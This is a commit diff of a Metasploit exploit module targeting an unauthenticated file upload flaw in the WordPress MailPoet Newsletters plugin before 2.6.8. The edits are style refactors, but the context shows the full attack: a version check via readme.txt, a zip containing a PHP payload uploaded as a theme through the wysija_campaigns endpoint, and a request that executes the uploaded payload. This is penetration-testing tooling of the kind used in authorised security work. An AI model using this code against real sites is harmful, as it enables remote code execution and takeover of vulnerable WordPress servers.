1
+ # encoding: UTF-8
2
+
1
3
##
2
4
# This module requires Metasploit: http//metasploit.com/download
3
5
# Current source: https://github.com/rapid7/metasploit-framework
@@ -12,7 +14,8 @@ class Metasploit3 < Msf::Exploit::Remote
12
14
include Msf ::Exploit ::FileDropper
13
15
14
16
def initialize ( info = { } )
15
- super ( update_info ( info ,
17
+ super ( update_info (
18
+ info ,
16
19
'Name' => 'Wordpress MailPoet Newsletters (wysija-newsletters) Unauthenticated File Upload' ,
17
20
'Description' => %q{
18
21
The Wordpress plugin "MailPoet Newsletters" (wysija-newsletters) before 2.6.8
@@ -34,14 +37,14 @@ def initialize(info = {})
34
37
'License' => MSF_LICENSE ,
35
38
'References' =>
36
39
[
37
- [ 'URL' , 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ] ,
38
- [ 'URL' , 'http://www.mailpoet.com/security-update-part-2/' ] ,
39
- [ 'URL' , 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php' ]
40
+ [ 'URL' , 'http://blog.sucuri.net/2014/07/remote-file-upload-vulnerability-on-mailpoet-wysija-newsletters.html' ] ,
41
+ [ 'URL' , 'http://www.mailpoet.com/security-update-part-2/' ] ,
42
+ [ 'URL' , 'https://plugins.trac.wordpress.org/changeset/943427/wysija-newsletters/trunk/helpers/back.php' ]
40
43
] ,
41
44
'Privileged' => false ,
42
45
'Platform' => [ 'php' ] ,
43
46
'Arch' => ARCH_PHP ,
44
- 'Targets' => [ [ 'wysija-newsletters < 2.6.8' , { } ] ] ,
47
+ 'Targets' => [ [ 'wysija-newsletters < 2.6.8' , { } ] ] ,
45
48
'DefaultTarget' => 0 ,
46
49
'DisclosureDate' => 'Jul 1 2014' ) )
47
50
end
@@ -58,33 +61,29 @@ def create_zip_file(theme_name, payload_name)
58
61
}
59
62
60
63
zip_file = Rex ::Zip ::Archive . new
61
- content . each_pair do |name , content |
62
- zip_file . add_file ( name , content )
64
+ content . each_pair do |name , con |
65
+ zip_file . add_file ( name , con )
63
66
end
64
67
65
68
zip_file . pack
66
69
end
67
70
68
71
def check
69
72
readme_url = normalize_uri ( target_uri . path , 'wp-content' , 'plugins' , 'wysija-newsletters' , 'readme.txt' )
70
- res = send_request_cgi ( {
73
+ res = send_request_cgi (
71
74
'uri' => readme_url ,
72
75
'method' => 'GET'
73
- } )
76
+ )
74
77
# no readme.txt present
75
- if res . nil? || res . code != 200
76
- return Msf ::Exploit ::CheckCode ::Unknown
77
- end
78
+ return Msf ::Exploit ::CheckCode ::Unknown if res . nil? || res . code != 200
78
79
79
80
# try to extract version from readme
80
81
# Example line:
81
82
# Stable tag: 2.6.6
82
83
version = res . body . to_s [ /stable tag: ([^\r \n "\' ]+\. [^\r \n "\' ]+)/i , 1 ]
83
84
84
85
# readme present, but no version number
85
- if version . nil?
86
- return Msf ::Exploit ::CheckCode ::Detected
87
- end
86
+ return Msf ::Exploit ::CheckCode ::Detected if version . nil?
88
87
89
88
print_status ( "#{ peer } - Found version #{ version } of the plugin" )
90
89
@@ -114,13 +113,13 @@ def exploit
114
113
payload_uri = normalize_uri ( target_uri . path , 'wp-content' , 'uploads' , 'wysija' , 'themes' , theme_name , payload_name )
115
114
116
115
print_status ( "#{ peer } - Uploading payload to #{ payload_uri } " )
117
- res = send_request_cgi ( {
116
+ res = send_request_cgi (
118
117
'method' => 'POST' ,
119
118
'uri' => uri ,
120
119
'ctype' => "multipart/form-data; boundary=#{ data . bound } " ,
121
120
'vars_get' => { 'page' => 'wysija_campaigns' , 'action' => 'themes' } ,
122
121
'data' => post_data
123
- } )
122
+ )
124
123
125
124
if res . nil? || res . code != 302 || res . headers [ 'Location' ] != 'admin.php?page=wysija_campaigns&action=themes&reload=1&redirect=1'
126
125
fail_with ( Failure ::UnexpectedReply , "#{ peer } - Upload failed" )
@@ -135,9 +134,9 @@ def exploit
135
134
print_warning ( "#{ peer } - The theme folder #{ theme_name } can not be removed. Please delete it manually." )
136
135
137
136
print_status ( "#{ peer } - Executing payload #{ payload_uri } " )
138
- res = send_request_cgi ( {
137
+ send_request_cgi (
139
138
'uri' => payload_uri ,
140
139
'method' => 'GET'
141
- } )
140
+ )
142
141
end
143
142
end
0 commit comments